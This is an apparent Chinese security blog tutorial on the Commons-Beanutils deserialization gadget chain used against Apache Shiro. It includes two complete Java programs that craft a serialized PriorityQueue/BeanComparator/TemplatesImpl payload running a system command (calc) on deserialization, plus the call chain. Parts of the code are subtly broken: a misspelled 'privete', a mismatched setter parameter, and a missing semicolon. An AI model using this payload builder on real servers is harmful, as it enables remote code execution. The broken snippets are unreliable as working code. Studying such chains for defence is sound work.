0x01 前言
commons-beanutils是Apache开源组织提供的用于操作JAVA BEAN的工具包。使用commons-beanutils,我们可以很方便的对bean对象的属性进行操作。Commons-Beanutils利用链也叫CB链,需要注意跟CC链区分。CB链再shiro反序列化中派上大用。Shiro是默认依赖Commons-Beanutils的,那么就可以利用CommonsBeanutils反序列化链进行构造payload。
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>
0x02 相关知识
Java Bean
Java Bean是对一种类的称呼,具备以下特征的类即可称为java bean。
- 提供一个默认的无参构造函数。
- 需要被序列化并且实现了 Serializable 接口。
- 可能有一系列可读写属性,并且一般是 private 的。
- 可能有一系列的 getter 或 setter 方法。
Java Bean 的作用也就是把一组数据组合成一个特殊的类便于传输。 Java Bean 可以用在图形界面的可视化设计、JSP 封装数据保存到数据库、Android AIDL 跨进程通信,Spring框架等场景中。
以下代码便是一个Java Bean。
public class Person {
privete String name;
private int age;
public void setName(String newName) {
name = newName;
}
public String getName() {
return name;
}
public void setAge(int neweAge) {
age = newAge;
}
public int getAge() {
return age;
}
}
PropertyUtils.getProperty
CommonsBeanutils中存在一个方法,org.apache.commons.beanutils.PropertyUtils.getProperty,该方法可以实现对Java Bean的getter方法的调用。PropertyUtils.getProperty(new Person(),"name")
则会调用它的getName()方法。
Person person = new Person();
person.setName("张三");
System.out.println(PropertyUtils.getProperty(person,"name"));
// output:张三
BeanComparator
org.apache.commons.beanutils.BeanComparator实现了 Comparator 接口,可以用来比较两个Bean的属性等内容。其中compare方法调用了PropertyUtils.getProperty方法。在初始化BeanComparator对象时如果没有传入comparator则会默认使用ComparableComparator类,而该类是属于commons-collections依赖的,在Shiro中默认包含一部分commons-collections的类,但是不完全,比如就没有包含ComparableComparator类。
TemplatesImpl
经过对CC链的分析,对于TemplatesImpl类已经很熟悉了,在很多链中TemplatesImpl类加载恶意字节码作为sink实现最终恶意代码执行。在CC链中TemplatesImpl作为sink都需要调用newTransformer方法,而在TemplatesImpl类中存在一个getter方法会间接调用newTransformer方法。
0x03 利用链1
在既存在cc和cb依赖的情况下,利用链如下:
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true)
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field2 = priorityQueue.getClass().getDeclaredField("queue");
field2.setAccessible(true);
field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});
Field field3 = priorityQueue.getClass().getDeclaredField("comparator");
field3.setAccessible(true);
field3.set(priorityQueue,beanComparator);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(priorityQueue);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}
整体代码跟CC链差不多,主要是设置BeanComparator的property属性。
0x04 利用链2
Commons-beanutils.BeanComparator
的构造方法,其实只有默认不传入 Comparator 的情况下才会去使用Commons-collections的ComparableComparator,所以我们需要传入一个原生的Comparator 即可摆脱对Commons-Collections 的依赖,同时,因为这个漏洞是应用于反序列化场景,所以要求这个类还必须继承 Serializable 接口,该静态对象java.lang.String.CASE_INSENSITIVE_ORDER
满足条件。这也是实际上进行shiro反序列化时常用的链。
利用链如下:
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field2 = priorityQueue.getClass().getDeclaredField("queue");
field2.setAccessible(true);
field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});
Field field3 = priorityQueue.getClass().getDeclaredField("comparator");
field3.setAccessible(true);
field3.set(priorityQueue,beanComparator);
Field field4 = beanComparator.getClass().getDeclaredField("comparator");
field4.setAccessible(true);
field4.set(beanComparator,String.CASE_INSENSITIVE_ORDER);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(priorityQueue);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}
跟利用链1唯一的差别就是反射更改了beanComparator的comparator属性为String.CASE_INSENSITIVE_ORDER
。
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
PropertyUtils.getProperty()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc.exe")
0x05 总结
CB链主要应用场景在shiro反序列化中,sink是TemplatesImpl,source是priorityQueue#readObject。中继使用BeanComparator类。